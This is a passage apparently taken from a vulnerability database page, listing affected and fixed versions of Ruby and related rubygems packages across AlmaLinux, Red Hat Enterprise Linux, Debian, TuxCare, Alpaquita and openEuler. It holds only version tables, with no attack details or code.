 before 3.3.10-6.module_el9.7.0+245+447713a2
3.3.10-6.module_el9.7.0+245+447713a2
ruby-doc
AlmaLinux:9
 before 3.3.10-6.module_el9.7.0+245+447713a2
3.3.10-6.module_el9.7.0+245+447713a2
Show 290 moreShow less
Affected packages
PackageAffectedFixed
ruby-libs
AlmaLinux:9
 before 3.3.10-6.module_el9.7.0+245+447713a2
3.3.10-6.module_el9.7.0+245+447713a2
rubygem-bigdecimal
AlmaLinux:9
 before 3.1.5-6.module_el9.7.0+245+447713a2
3.1.5-6.module_el9.7.0+245+447713a2
rubygem-bundler
AlmaLinux:9
 before 2.5.22-6.module_el9.7.0+245+447713a2
2.5.22-6.module_el9.7.0+245+447713a2
rubygem-io-console
AlmaLinux:9
 before 0.7.1-6.module_el9.7.0+245+447713a2
0.7.1-6.module_el9.7.0+245+447713a2
rubygem-irb
AlmaLinux:9
 before 1.13.1-6.module_el9.7.0+245+447713a2
1.13.1-6.module_el9.7.0+245+447713a2
rubygem-json
AlmaLinux:9
 before 2.7.2-6.module_el9.7.0+245+447713a2
2.7.2-6.module_el9.7.0+245+447713a2
rubygem-minitest
AlmaLinux:9
 before 5.20.0-6.module_el9.7.0+245+447713a2
5.20.0-6.module_el9.7.0+245+447713a2
rubygem-mysql2
AlmaLinux:9
 before 0.5.5-3.module_el9.7.0+184+e2e36072
0.5.5-3.module_el9.7.0+184+e2e36072
rubygem-mysql2-doc
AlmaLinux:9
 before 0.5.5-3.module_el9.7.0+184+e2e36072
0.5.5-3.module_el9.7.0+184+e2e36072
rubygem-pg
AlmaLinux:9
 before 1.5.4-2.module_el9.7.0+245+447713a2
1.5.4-2.module_el9.7.0+245+447713a2
rubygem-pg-doc
AlmaLinux:9
 before 1.5.4-2.module_el9.7.0+245+447713a2
1.5.4-2.module_el9.7.0+245+447713a2
rubygem-power_assert
AlmaLinux:9
 before 2.0.3-6.module_el9.7.0+245+447713a2
2.0.3-6.module_el9.7.0+245+447713a2
rubygem-psych
AlmaLinux:9
 before 5.1.2-6.module_el9.7.0+245+447713a2
5.1.2-6.module_el9.7.0+245+447713a2
rubygem-racc
AlmaLinux:9
 before 1.7.3-6.module_el9.7.0+245+447713a2
1.7.3-6.module_el9.7.0+245+447713a2
rubygem-rake
AlmaLinux:9
 before 13.1.0-6.module_el9.7.0+245+447713a2
13.1.0-6.module_el9.7.0+245+447713a2
rubygem-rbs
AlmaLinux:9
 before 3.4.0-6.module_el9.7.0+245+447713a2
3.4.0-6.module_el9.7.0+245+447713a2
rubygem-rdoc
AlmaLinux:9
 before 6.6.3.1-6.module_el9.7.0+245+447713a2
6.6.3.1-6.module_el9.7.0+245+447713a2
rubygem-rexml
AlmaLinux:9
 before 3.4.4-6.module_el9.7.0+245+447713a2
3.4.4-6.module_el9.7.0+245+447713a2
rubygem-rss
AlmaLinux:9
 before 0.3.1-6.module_el9.7.0+245+447713a2
0.3.1-6.module_el9.7.0+245+447713a2
rubygem-test-unit
AlmaLinux:9
 before 3.6.1-6.module_el9.7.0+245+447713a2
3.6.1-6.module_el9.7.0+245+447713a2
rubygem-typeprof
AlmaLinux:9
 before 0.21.9-6.module_el9.7.0+245+447713a2
0.21.9-6.module_el9.7.0+245+447713a2
rubygems
AlmaLinux:9
 before 3.5.22-6.module_el9.7.0+245+447713a2
3.5.22-6.module_el9.7.0+245+447713a2
rubygems-devel
AlmaLinux:9
 before 3.5.22-6.module_el9.7.0+245+447713a2
3.5.22-6.module_el9.7.0+245+447713a2
ruby
AlmaLinux:9
 before 3.0.7-166.el9_7
3.0.7-166.el9_7
ruby-default-gems
AlmaLinux:9
 before 3.0.7-166.el9_7
3.0.7-166.el9_7
ruby-devel
AlmaLinux:9
 before 3.0.7-166.el9_7
3.0.7-166.el9_7
ruby-doc
AlmaLinux:9
 before 3.0.7-166.el9_7
3.0.7-166.el9_7
ruby-libs
AlmaLinux:9
 before 3.0.7-166.el9_7
3.0.7-166.el9_7
rubygem-bigdecimal
AlmaLinux:9
 before 3.0.0-166.el9_7
3.0.0-166.el9_7
rubygem-bundler
AlmaLinux:9
 before 2.2.33-166.el9_7
2.2.33-166.el9_7
rubygem-io-console
AlmaLinux:9
 before 0.5.7-166.el9_7
0.5.7-166.el9_7
rubygem-irb
AlmaLinux:9
 before 1.3.5-166.el9_7
1.3.5-166.el9_7
rubygem-json
AlmaLinux:9
 before 2.5.1-166.el9_7
2.5.1-166.el9_7
rubygem-minitest
AlmaLinux:9
 before 5.14.2-166.el9_7
5.14.2-166.el9_7
rubygem-power_assert
AlmaLinux:9
 before 1.2.1-166.el9_7
1.2.1-166.el9_7
rubygem-psych
AlmaLinux:9
 before 3.3.2-166.el9_7
3.3.2-166.el9_7
rubygem-rake
AlmaLinux:9
 before 13.0.3-166.el9_7
13.0.3-166.el9_7
rubygem-rbs
AlmaLinux:9
 before 1.4.0-166.el9_7
1.4.0-166.el9_7
rubygem-rdoc
AlmaLinux:9
 before 6.3.4.1-166.el9_7
6.3.4.1-166.el9_7
rubygem-rexml
AlmaLinux:9
 before 3.2.5-166.el9_7
3.2.5-166.el9_7
rubygem-rss
AlmaLinux:9
 before 0.2.9-166.el9_7
0.2.9-166.el9_7
rubygem-test-unit
AlmaLinux:9
 before 3.3.7-166.el9_7
3.3.7-166.el9_7
rubygem-typeprof
AlmaLinux:9
 before 0.15.2-166.el9_7
0.15.2-166.el9_7
rubygems
AlmaLinux:9
 before 3.2.33-166.el9_7
3.2.33-166.el9_7
rubygems-devel
AlmaLinux:9
 before 3.2.33-166.el9_7
3.2.33-166.el9_7
ruby-default-gems
AlmaLinux:10
 before 3.3.10-12.el10_1
3.3.10-12.el10_1
ruby-doc
AlmaLinux:10
 before 3.3.10-12.el10_1
3.3.10-12.el10_1
rubygem-bundler
AlmaLinux:10
 before 2.5.22-12.el10_1
2.5.22-12.el10_1
rubygem-irb
AlmaLinux:10
 before 1.13.1-12.el10_1
1.13.1-12.el10_1
rubygem-minitest
AlmaLinux:10
 before 5.20.0-12.el10_1
5.20.0-12.el10_1
rubygem-power_assert
AlmaLinux:10
 before 2.0.3-12.el10_1
2.0.3-12.el10_1
rubygem-rake
AlmaLinux:10
 before 13.1.0-12.el10_1
13.1.0-12.el10_1
rubygem-rdoc
AlmaLinux:10
 before 6.6.3.1-12.el10_1
6.6.3.1-12.el10_1
rubygem-rexml
AlmaLinux:10
 before 3.4.4-12.el10_1
3.4.4-12.el10_1
rubygem-rss
AlmaLinux:10
 before 0.3.1-12.el10_1
0.3.1-12.el10_1
rubygem-test-unit
AlmaLinux:10
 before 3.6.1-12.el10_1
3.6.1-12.el10_1
rubygem-typeprof
AlmaLinux:10
 before 0.21.9-12.el10_1
0.21.9-12.el10_1
rubygems
AlmaLinux:10
 before 3.5.22-12.el10_1
3.5.22-12.el10_1
rubygems-devel
AlmaLinux:10
 before 3.5.22-12.el10_1
3.5.22-12.el10_1
ruby
AlmaLinux:9
From an advisory covering 2 CVEs
 before 4.0.3-32.module_el9.8.0+251+5fdbd96b
4.0.3-32.module_el9.8.0+251+5fdbd96b
ruby-bundled-gems
AlmaLinux:9
From an advisory covering 2 CVEs
 before 4.0.3-32.module_el9.8.0+251+5fdbd96b
4.0.3-32.module_el9.8.0+251+5fdbd96b
ruby-default-gems
AlmaLinux:9
From an advisory covering 2 CVEs
 before 4.0.3-32.module_el9.8.0+251+5fdbd96b
4.0.3-32.module_el9.8.0+251+5fdbd96b
ruby-devel
AlmaLinux:9
From an advisory covering 2 CVEs
 before 4.0.3-32.module_el9.8.0+251+5fdbd96b
4.0.3-32.module_el9.8.0+251+5fdbd96b
ruby-doc
AlmaLinux:9
From an advisory covering 2 CVEs
 before 4.0.3-32.module_el9.8.0+251+5fdbd96b
4.0.3-32.module_el9.8.0+251+5fdbd96b
ruby-libs
AlmaLinux:9
From an advisory covering 2 CVEs
 before 4.0.3-32.module_el9.8.0+251+5fdbd96b
4.0.3-32.module_el9.8.0+251+5fdbd96b
rubygem-bigdecimal
AlmaLinux:9
From an advisory covering 2 CVEs
 before 4.0.1-32.module_el9.8.0+251+5fdbd96b
4.0.1-32.module_el9.8.0+251+5fdbd96b
rubygem-bundler
AlmaLinux:9
From an advisory covering 2 CVEs
 before 4.0.6-32.module_el9.8.0+251+5fdbd96b
4.0.6-32.module_el9.8.0+251+5fdbd96b
rubygem-io-console
AlmaLinux:9
From an advisory covering 2 CVEs
 before 0.8.2-32.module_el9.8.0+251+5fdbd96b
0.8.2-32.module_el9.8.0+251+5fdbd96b
rubygem-irb
AlmaLinux:9
From an advisory covering 2 CVEs
 before 1.16.0-32.module_el9.8.0+251+5fdbd96b
1.16.0-32.module_el9.8.0+251+5fdbd96b
rubygem-json
AlmaLinux:9
From an advisory covering 2 CVEs
 before 2.18.0-32.module_el9.8.0+251+5fdbd96b
2.18.0-32.module_el9.8.0+251+5fdbd96b
rubygem-minitest
AlmaLinux:9
From an advisory covering 2 CVEs
 before 6.0.0-32.module_el9.8.0+251+5fdbd96b
6.0.0-32.module_el9.8.0+251+5fdbd96b
rubygem-mysql2
AlmaLinux:9
From an advisory covering 2 CVEs
 before 0.5.7-1.module_el9.8.0+232+50f6dd36
0.5.7-1.module_el9.8.0+232+50f6dd36
rubygem-mysql2-doc
AlmaLinux:9
From an advisory covering 2 CVEs
 before 0.5.7-1.module_el9.8.0+232+50f6dd36
0.5.7-1.module_el9.8.0+232+50f6dd36
rubygem-pg
AlmaLinux:9
From an advisory covering 2 CVEs
 before 1.6.3-1.module_el9.8.0+232+50f6dd36
1.6.3-1.module_el9.8.0+232+50f6dd36
rubygem-pg-doc
AlmaLinux:9
From an advisory covering 2 CVEs
 before 1.6.3-1.module_el9.8.0+232+50f6dd36
1.6.3-1.module_el9.8.0+232+50f6dd36
rubygem-power_assert
AlmaLinux:9
From an advisory covering 2 CVEs
 before 3.0.1-32.module_el9.8.0+251+5fdbd96b
3.0.1-32.module_el9.8.0+251+5fdbd96b
rubygem-psych
AlmaLinux:9
From an advisory covering 2 CVEs
 before 5.3.1-32.module_el9.8.0+251+5fdbd96b
5.3.1-32.module_el9.8.0+251+5fdbd96b
rubygem-racc
AlmaLinux:9
From an advisory covering 2 CVEs
 before 1.8.1-32.module_el9.8.0+251+5fdbd96b
1.8.1-32.module_el9.8.0+251+5fdbd96b
rubygem-rake
AlmaLinux:9
From an advisory covering 2 CVEs
 before 13.3.1-32.module_el9.8.0+251+5fdbd96b
13.3.1-32.module_el9.8.0+251+5fdbd96b
rubygem-rbs
AlmaLinux:9
From an advisory covering 2 CVEs
 before 3.10.0-32.module_el9.8.0+251+5fdbd96b
3.10.0-32.module_el9.8.0+251+5fdbd96b
rubygem-rdoc
AlmaLinux:9
From an advisory covering 2 CVEs
 before 7.0.3-32.module_el9.8.0+251+5fdbd96b
7.0.3-32.module_el9.8.0+251+5fdbd96b
rubygem-rexml
AlmaLinux:9
From an advisory covering 2 CVEs
 before 3.4.4-32.module_el9.8.0+251+5fdbd96b
3.4.4-32.module_el9.8.0+251+5fdbd96b
rubygem-rss
AlmaLinux:9
From an advisory covering 2 CVEs
 before 0.3.2-32.module_el9.8.0+251+5fdbd96b
0.3.2-32.module_el9.8.0+251+5fdbd96b
rubygem-test-unit
AlmaLinux:9
From an advisory covering 2 CVEs
 before 3.7.5-32.module_el9.8.0+251+5fdbd96b
3.7.5-32.module_el9.8.0+251+5fdbd96b
rubygem-typeprof
AlmaLinux:9
From an advisory covering 2 CVEs
 before 0.31.1-32.module_el9.8.0+251+5fdbd96b
0.31.1-32.module_el9.8.0+251+5fdbd96b
rubygems
AlmaLinux:9
From an advisory covering 2 CVEs
 before 4.0.6-32.module_el9.8.0+251+5fdbd96b
4.0.6-32.module_el9.8.0+251+5fdbd96b
rubygems-devel
AlmaLinux:9
From an advisory covering 2 CVEs
 before 4.0.6-32.module_el9.8.0+251+5fdbd96b
4.0.6-32.module_el9.8.0+251+5fdbd96b
ruby4.0
AlmaLinux:10
From an advisory covering 2 CVEs
 before 4.0.3-34.el10_2
4.0.3-34.el10_2
ruby4.0-devel
AlmaLinux:10
From an advisory covering 2 CVEs
 before 4.0.3-34.el10_2
4.0.3-34.el10_2
ruby4.0-doc
AlmaLinux:10
From an advisory covering 2 CVEs
 before 4.0.3-34.el10_2
4.0.3-34.el10_2
ruby4.0-rubygem-mysql2
AlmaLinux:10
From an advisory covering 2 CVEs
 before 0.5.7-34.el10_2
0.5.7-34.el10_2
ruby4.0-rubygem-pg
AlmaLinux:10
From an advisory covering 2 CVEs
 before 1.6.3-34.el10_2
1.6.3-34.el10_2
ruby
AlmaLinux:8
 before 3.3.10-6.module_el8.10.0+4183+69a3c42f
3.3.10-6.module_el8.10.0+4183+69a3c42f
ruby-bundled-gems
AlmaLinux:8
 before 3.3.10-6.module_el8.10.0+4183+69a3c42f
3.3.10-6.module_el8.10.0+4183+69a3c42f
ruby-default-gems
AlmaLinux:8
 before 3.3.10-6.module_el8.10.0+4183+69a3c42f
3.3.10-6.module_el8.10.0+4183+69a3c42f
ruby
Alpaquita:23
 3.1.2-r1 up to 3.3.13-r0
3.3.13-r0
ruby
Alpaquita:25
 3.4.4-r0 up to 3.4.12-r0
3.4.12-r0
ruby
Alpaquita:stream
 3.1.2-r1 up to 3.4.10-r0
3.4.10-r0
ruby
TuxCare:AlmaLinux:9.2
 before 3.0.4-160.el9_2.tuxcare.els14
3.0.4-160.el9_2.tuxcare.els14
ruby-default-gems
TuxCare:AlmaLinux:9.2
 before 3.0.4-160.el9_2.tuxcare.els14
3.0.4-160.el9_2.tuxcare.els14
ruby-devel
TuxCare:AlmaLinux:9.2
 before 3.0.4-160.el9_2.tuxcare.els14
3.0.4-160.el9_2.tuxcare.els14
ruby-doc
TuxCare:AlmaLinux:9.2
 before 3.0.4-160.el9_2.tuxcare.els14
3.0.4-160.el9_2.tuxcare.els14
ruby-libs
TuxCare:AlmaLinux:9.2
 before 3.0.4-160.el9_2.tuxcare.els14
3.0.4-160.el9_2.tuxcare.els14
rubygem-bigdecimal
TuxCare:AlmaLinux:9.2
 before 3.0.0-160.el9_2.tuxcare.els14
3.0.0-160.el9_2.tuxcare.els14
rubygem-bundler
TuxCare:AlmaLinux:9.2
 before 2.2.33-160.el9_2.tuxcare.els14
2.2.33-160.el9_2.tuxcare.els14
rubygem-io-console
TuxCare:AlmaLinux:9.2
 before 0.5.7-160.el9_2.tuxcare.els14
0.5.7-160.el9_2.tuxcare.els14
rubygem-irb
TuxCare:AlmaLinux:9.2
 before 1.3.5-160.el9_2.tuxcare.els14
1.3.5-160.el9_2.tuxcare.els14
rubygem-json
TuxCare:AlmaLinux:9.2
 before 2.5.1-160.el9_2.tuxcare.els14
2.5.1-160.el9_2.tuxcare.els14
rubygem-minitest
TuxCare:AlmaLinux:9.2
 before 5.14.2-160.el9_2.tuxcare.els14
5.14.2-160.el9_2.tuxcare.els14
rubygem-power_assert
TuxCare:AlmaLinux:9.2
 before 1.2.0-160.el9_2.tuxcare.els14
1.2.0-160.el9_2.tuxcare.els14
rubygem-psych
TuxCare:AlmaLinux:9.2
 before 3.3.2-160.el9_2.tuxcare.els14
3.3.2-160.el9_2.tuxcare.els14
rubygem-rake
TuxCare:AlmaLinux:9.2
 before 13.0.3-160.el9_2.tuxcare.els14
13.0.3-160.el9_2.tuxcare.els14
rubygem-rbs
TuxCare:AlmaLinux:9.2
 before 1.4.0-160.el9_2.tuxcare.els14
1.4.0-160.el9_2.tuxcare.els14
rubygem-rdoc
TuxCare:AlmaLinux:9.2
 before 6.3.3-160.el9_2.tuxcare.els14
6.3.3-160.el9_2.tuxcare.els14
rubygem-rexml
TuxCare:AlmaLinux:9.2
 before 3.3.3-160.el9_2.tuxcare.els14
3.3.3-160.el9_2.tuxcare.els14
rubygem-rss
TuxCare:AlmaLinux:9.2
 before 0.2.9-160.el9_2.tuxcare.els14
0.2.9-160.el9_2.tuxcare.els14
rubygem-test-unit
TuxCare:AlmaLinux:9.2
 before 3.3.7-160.el9_2.tuxcare.els14
3.3.7-160.el9_2.tuxcare.els14
rubygem-typeprof
TuxCare:AlmaLinux:9.2
 before 0.15.2-160.el9_2.tuxcare.els14
0.15.2-160.el9_2.tuxcare.els14
rubygems
TuxCare:AlmaLinux:9.2
 before 3.2.33-160.el9_2.tuxcare.els14
3.2.33-160.el9_2.tuxcare.els14
rubygems-devel
TuxCare:AlmaLinux:9.2
 before 3.2.33-160.el9_2.tuxcare.els14
3.2.33-160.el9_2.tuxcare.els14
ruby
TuxCare:AlmaLinux:9.6
 before 3.0.7-165.el9_5.tuxcare.els5
3.0.7-165.el9_5.tuxcare.els5
ruby-default-gems
TuxCare:AlmaLinux:9.6
 before 3.0.7-165.el9_5.tuxcare.els5
3.0.7-165.el9_5.tuxcare.els5
ruby-devel
TuxCare:AlmaLinux:9.6
 before 3.0.7-165.el9_5.tuxcare.els5
3.0.7-165.el9_5.tuxcare.els5
ruby-doc
TuxCare:AlmaLinux:9.6
 before 3.0.7-165.el9_5.tuxcare.els5
3.0.7-165.el9_5.tuxcare.els5
ruby-libs
TuxCare:AlmaLinux:9.6
 before 3.0.7-165.el9_5.tuxcare.els5
3.0.7-165.el9_5.tuxcare.els5
rubygem-bigdecimal
TuxCare:AlmaLinux:9.6
 before 3.0.0-165.el9_5.tuxcare.els5
3.0.0-165.el9_5.tuxcare.els5
rubygem-bundler
TuxCare:AlmaLinux:9.6
 before 2.2.33-165.el9_5.tuxcare.els5
2.2.33-165.el9_5.tuxcare.els5
rubygem-io-console
TuxCare:AlmaLinux:9.6
 before 0.5.7-165.el9_5.tuxcare.els5
0.5.7-165.el9_5.tuxcare.els5
rubygem-irb
TuxCare:AlmaLinux:9.6
 before 1.3.5-165.el9_5.tuxcare.els5
1.3.5-165.el9_5.tuxcare.els5
rubygem-json
TuxCare:AlmaLinux:9.6
 before 2.5.1-165.el9_5.tuxcare.els5
2.5.1-165.el9_5.tuxcare.els5
rubygem-minitest
TuxCare:AlmaLinux:9.6
 before 5.14.2-165.el9_5.tuxcare.els5
5.14.2-165.el9_5.tuxcare.els5
rubygem-power_assert
TuxCare:AlmaLinux:9.6
 before 1.2.1-165.el9_5.tuxcare.els5
1.2.1-165.el9_5.tuxcare.els5
rubygem-psych
TuxCare:AlmaLinux:9.6
 before 3.3.2-165.el9_5.tuxcare.els5
3.3.2-165.el9_5.tuxcare.els5
rubygem-rake
TuxCare:AlmaLinux:9.6
 before 13.0.3-165.el9_5.tuxcare.els5
13.0.3-165.el9_5.tuxcare.els5
rubygem-rbs
TuxCare:AlmaLinux:9.6
 before 1.4.0-165.el9_5.tuxcare.els5
1.4.0-165.el9_5.tuxcare.els5
rubygem-rdoc
TuxCare:AlmaLinux:9.6
 before 6.3.4.1-165.el9_5.tuxcare.els5
6.3.4.1-165.el9_5.tuxcare.els5
rubygem-rexml
TuxCare:AlmaLinux:9.6
 before 3.2.5-165.el9_5.tuxcare.els5
3.2.5-165.el9_5.tuxcare.els5
rubygem-rss
TuxCare:AlmaLinux:9.6
 before 0.2.9-165.el9_5.tuxcare.els5
0.2.9-165.el9_5.tuxcare.els5
rubygem-test-unit
TuxCare:AlmaLinux:9.6
 before 3.3.7-165.el9_5.tuxcare.els5
3.3.7-165.el9_5.tuxcare.els5
rubygem-typeprof
TuxCare:AlmaLinux:9.6
 before 0.15.2-165.el9_5.tuxcare.els5
0.15.2-165.el9_5.tuxcare.els5
rubygems
TuxCare:AlmaLinux:9.6
 before 3.2.33-165.el9_5.tuxcare.els5
3.2.33-165.el9_5.tuxcare.els5
rubygems-devel
TuxCare:AlmaLinux:9.6
 before 3.2.33-165.el9_5.tuxcare.els5
3.2.33-165.el9_5.tuxcare.els5
ruby3.1
Debian:12
 All versions, plus listed versions
3.1.2-73.1.2-7+deb12u13.1.2-7+hurd.13.1.2-83.1.2-8.1~exp13.1.2-8.33.1.2-8.43.1.2-8.5
 None known
ruby3.3
Debian:13
 before 3.3.13-0+deb13u1, plus listed versions
3.3.8-23.3.8-2.13.3.8-2.2
3.3.13-0+deb13u1
ruby3.3
Debian:14
 All versions, plus listed versions
3.3.8-23.3.8-2.13.3.8-2.2
 None known
erb
RubyGems
 before 4.0.3.1, plus listed versions
2.2.02.2.12.2.22.2.33.0.0
Show 4 moreShow less
4.0.04.0.14.0.24.0.3
4.0.3.1
erb
RubyGems
 4.0.4 up to 4.0.4.1
4.0.4.1
erb
RubyGems
 5.0.0 up to 6.0.1.1, plus listed versions
5.0.15.0.25.0.35.1.05.1.1
Show 4 moreShow less
5.1.25.1.36.0.06.0.1
6.0.1.1
erb
RubyGems
 6.0.2 up to 6.0.4, plus listed versions
6.0.3
6.0.4
ruby
openEuler:24.03-LTS-SP1
 before 3.2.2-152.oe2403sp1
3.2.2-152.oe2403sp1
ruby
openEuler:24.03-LTS-SP3
 before 3.2.2-152.oe2403sp3
3.2.2-152.oe2403sp3
ruby
openEuler:20.03-LTS-SP4
 before 2.5.8-137.oe2003sp4
2.5.8-137.oe2003sp4
ruby
openEuler:22.03-LTS-SP4
 before 3.0.3-145.oe2203sp4
3.0.3-145.oe2203sp4
ruby
openEuler:24.03-LTS
 before 3.2.2-152.oe2403
3.2.2-152.oe2403
ruby
Red Hat:enterprise_linux:9::appstream
 before 0:3.3.10-6.module+el9.7.0+24248+66578cbb
0:3.3.10-6.module+el9.7.0+24248+66578cbb
ruby-bundled-gems
Red Hat:enterprise_linux:9::appstream
 before 0:3.3.10-6.module+el9.7.0+24248+66578cbb
0:3.3.10-6.module+el9.7.0+24248+66578cbb
ruby-bundled-gems-debuginfo
Red Hat:enterprise_linux:9::appstream
 before 0:3.3.10-6.module+el9.7.0+24248+66578cbb
0:3.3.10-6.module+el9.7.0+24248+66578cbb
ruby-debuginfo
Red Hat:enterprise_linux:9::appstream
 before 0:3.3.10-6.module+el9.7.0+24248+66578cbb
0:3.3.10-6.module+el9.7.0+24248+66578cbb
ruby-debugsource
Red Hat:enterprise_linux:9::appstream
 before 0:3.3.10-6.module+el9.7.0+24248+66578cbb
0:3.3.10-6.module+el9.7.0+24248+66578cbb
ruby-default-gems
Red Hat:enterprise_linux:9::appstream
 before 0:3.3.10-6.module+el9.7.0+24248+66578cbb
0:3.3.10-6.module+el9.7.0+24248+66578cbb
ruby-devel
Red Hat:enterprise_linux:9::appstream
 before 0:3.3.10-6.module+el9.7.0+24248+66578cbb
0:3.3.10-6.module+el9.7.0+24248+66578cbb
ruby-doc
Red Hat:enterprise_linux:9::appstream
 before 0:3.3.10-6.module+el9.7.0+24248+66578cbb
0:3.3.10-6.module+el9.7.0+24248+66578cbb
ruby-libs
Red Hat:enterprise_linux:9::appstream
 before 0:3.3.10-6.module+el9.7.0+24248+66578cbb
0:3.3.10-6.module+el9.7.0+24248+66578cbb
ruby-libs-debuginfo
Red Hat:enterprise_linux:9::appstream
 before 0:3.3.10-6.module+el9.7.0+24248+66578cbb
0:3.3.10-6.module+el9.7.0+24248+66578cbb
rubygem-bigdecimal
Red Hat:enterprise_linux:9::appstream
 before 0:3.1.5-6.module+el9.7.0+24248+66578cbb
0:3.1.5-6.module+el9.7.0+24248+66578cbb
rubygem-bigdecimal-debuginfo
Red Hat:enterprise_linux:9::appstream
 before 0:3.1.5-6.module+el9.7.0+24248+66578cbb
0:3.1.5-6.module+el9.7.0+24248+66578cbb
rubygem-bundler
Red Hat:enterprise_linux:9::appstream
 before 0:2.5.22-6.module+el9.7.0+24248+66578cbb
0:2.5.22-6.module+el9.7.0+24248+66578cbb
rubygem-io-console
Red Hat:enterprise_linux:9::appstream
 before 0:0.7.1-6.module+el9.7.0+24248+66578cbb
0:0.7.1-6.module+el9.7.0+24248+66578cbb
rubygem-io-console-debuginfo
Red Hat:enterprise_linux:9::appstream
 before 0:0.7.1-6.module+el9.7.0+24248+66578cbb
0:0.7.1-6.module+el9.7.0+24248+66578cbb
rubygem-irb
Red Hat:enterprise_linux:9::appstream
 before 0:1.13.1-6.module+el9.7.0+24248+66578cbb
0:1.13.1-6.module+el9.7.0+24248+66578cbb
rubygem-json
Red Hat:enterprise_linux:9::appstream
 before 0:2.7.2-6.module+el9.7.0+24248+66578cbb
0:2.7.2-6.module+el9.7.0+24248+66578cbb
rubygem-json-debuginfo
Red Hat:enterprise_linux:9::appstream
 before 0:2.7.2-6.module+el9.7.0+24248+66578cbb
0:2.7.2-6.module+el9.7.0+24248+66578cbb
rubygem-minitest
Red Hat:enterprise_linux:9::appstream
 before 0:5.20.0-6.module+el9.7.0+24248+66578cbb
0:5.20.0-6.module+el9.7.0+24248+66578cbb
rubygem-mysql2
Red Hat:enterprise_linux:9::appstream
 before 0:0.5.5-3.module+el9.7.0+24119+ccc80daf
0:0.5.5-3.module+el9.7.0+24119+ccc80daf
rubygem-mysql2-debuginfo
Red Hat:enterprise_linux:9::appstream
 before 0:0.5.5-3.module+el9.7.0+24119+ccc80daf
0:0.5.5-3.module+el9.7.0+24119+ccc80daf
rubygem-mysql2-debugsource
Red Hat:enterprise_linux:9::appstream
 before 0:0.5.5-3.module+el9.7.0+24119+ccc80daf
0:0.5.5-3.module+el9.7.0+24119+ccc80daf
rubygem-mysql2-doc
Red Hat:enterprise_linux:9::appstream
 before 0:0.5.5-3.module+el9.7.0+24119+ccc80daf
0:0.5.5-3.module+el9.7.0+24119+ccc80daf
rubygem-pg
Red Hat:enterprise_linux:9::appstream
 before 0:1.5.4-2.module+el9.7.0+24119+ccc80daf
0:1.5.4-2.module+el9.7.0+24119+ccc80daf
rubygem-pg-debuginfo
Red Hat:enterprise_linux:9::appstream
 before 0:1.5.4-2.module+el9.7.0+24119+ccc80daf
0:1.5.4-2.module+el9.7.0+24119+ccc80daf
rubygem-pg-debugsource
Red Hat:enterprise_linux:9::appstream
 before 0:1.5.4-2.module+el9.7.0+24119+ccc80daf
0:1.5.4-2.module+el9.7.0+24119+ccc80daf
rubygem-pg-doc
Red Hat:enterprise_linux:9::appstream
 before 0:1.5.4-2.module+el9.7.0+24119+ccc80daf
0:1.5.4-2.module+el9.7.0+24119+ccc80daf
rubygem-power_assert
Red Hat:enterprise_linux:9::appstream
 before 0:2.0.3-6.module+el9.7.0+24248+66578cbb
0:2.0.3-6.module+el9.7.0+24248+66578cbb
rubygem-psych
Red Hat:enterprise_linux:9::appstream
 before 0:5.1.2-6.module+el9.7.0+24248+66578cbb
0:5.1.2-6.module+el9.7.0+24248+66578cbb
rubygem-psych-debuginfo
Red Hat:enterprise_linux:9::appstream
 before 0:5.1.2-6.module+el9.7.0+24248+66578cbb
0:5.1.2-6.module+el9.7.0+24248+66578cbb
rubygem-racc
Red Hat:enterprise_linux:9::appstream
 before 0:1.7.3-6.module+el9.7.0+24248+66578cbb
0:1.7.3-6.module+el9.7.0+24248+66578cbb
rubygem-racc-debuginfo
Red Hat:enterprise_linux:9::appstream
 before 0:1.7.3-6.module+el9.7.0+24248+66578cbb
0:1.7.3-6.module+el9.7.0+24248+66578cbb
rubygem-rake
Red Hat:enterprise_linux:9::appstream
 before 0:13.1.0-6.module+el9.7.0+24248+66578cbb
0:13.1.0-6.module+el9.7.0+24248+66578cbb
rubygem-rbs
Red Hat:enterprise_linux:9::appstream
 before 0:3.4.0-6.module+el9.7.0+24248+66578cbb
0:3.4.0-6.module+el9.7.0+24248+66578cbb
rubygem-rbs-debuginfo
Red Hat:enterprise_linux:9::appstream
 before 0:3.4.0-6.module+el9.7.0+24248+66578cbb
0:3.4.0-6.module+el9.7.0+24248+66578cbb
rubygem-rdoc
Red Hat:enterprise_linux:9::appstream
 before 0:6.6.3.1-6.module+el9.7.0+24248+66578cbb
0:6.6.3.1-6.module+el9.7.0+24248+66578cbb
rubygem-rexml
Red Hat:enterprise_linux:9::appstream
 before 0:3.4.4-6.module+el9.7.0+24248+66578cbb
0:3.4.4-6.module+el9.7.0+24248+66578cbb
rubygem-rss
Red Hat:enterprise_linux:9::appstream
 before 0:0.3.1-6.module+el9.7.0+24248+66578cbb
0:0.3.1-6.module+el9.7.0+24248+66578cbb
rubygem-test-unit
Red Hat:enterprise_linux:9::appstream
 before 0:3.6.1-6.module+el9.7.0+24248+66578cbb
0:3.6.1-6.module+el9.7.0+24248+66578cbb
rubygem-typeprof
Red Hat:enterprise_linux:9::appstream
 before 0:0.21.9-6.module+el9.7.0+24248+66578cbb
0:0.21.9-6.module+el9.7.0+24248+66578cbb
rubygems
Red Hat:enterprise_linux:9::appstream
 before 0:3.5.22-6.module+el9.7.0+24248+66578cbb
0:3.5.22-6.module+el9.7.0+24248+66578cbb
rubygems-devel
Red Hat:enterprise_linux:9::appstream
 before 0:3.5.22-6.module+el9.7.0+24248+66578cbb
0:3.5.22-6.module+el9.7.0+24248+66578cbb
ruby
Red Hat:enterprise_linux:9::appstream
 before 0:3.0.7-166.el9_7
0:3.0.7-166.el9_7
ruby-debuginfo
Red Hat:enterprise_linux:9::appstream
 before 0:3.0.7-166.el9_7
0:3.0.7-166.el9_7
ruby-debugsource
Red Hat:enterprise_linux:9::appstream
 before 0:3.0.7-166.el9_7
0:3.0.7-166.el9_7
ruby-default-gems
Red Hat:enterprise_linux:9::appstream
 before 0:3.0.7-166.el9_7
0:3.0.7-166.el9_7
ruby-devel
Red Hat:enterprise_linux:9::appstream
 before 0:3.0.7-166.el9_7
0:3.0.7-166.el9_7
ruby-libs
Red Hat:enterprise_linux:9::appstream
 before 0:3.0.7-166.el9_7
0:3.0.7-166.el9_7
ruby-libs-debuginfo
Red Hat:enterprise_linux:9::appstream
 before 0:3.0.7-166.el9_7
0:3.0.7-166.el9_7
rubygem-bigdecimal
Red Hat:enterprise_linux:9::appstream
 before 0:3.0.0-166.el9_7
0:3.0.0-166.el9_7
rubygem-bigdecimal-debuginfo
Red Hat:enterprise_linux:9::appstream
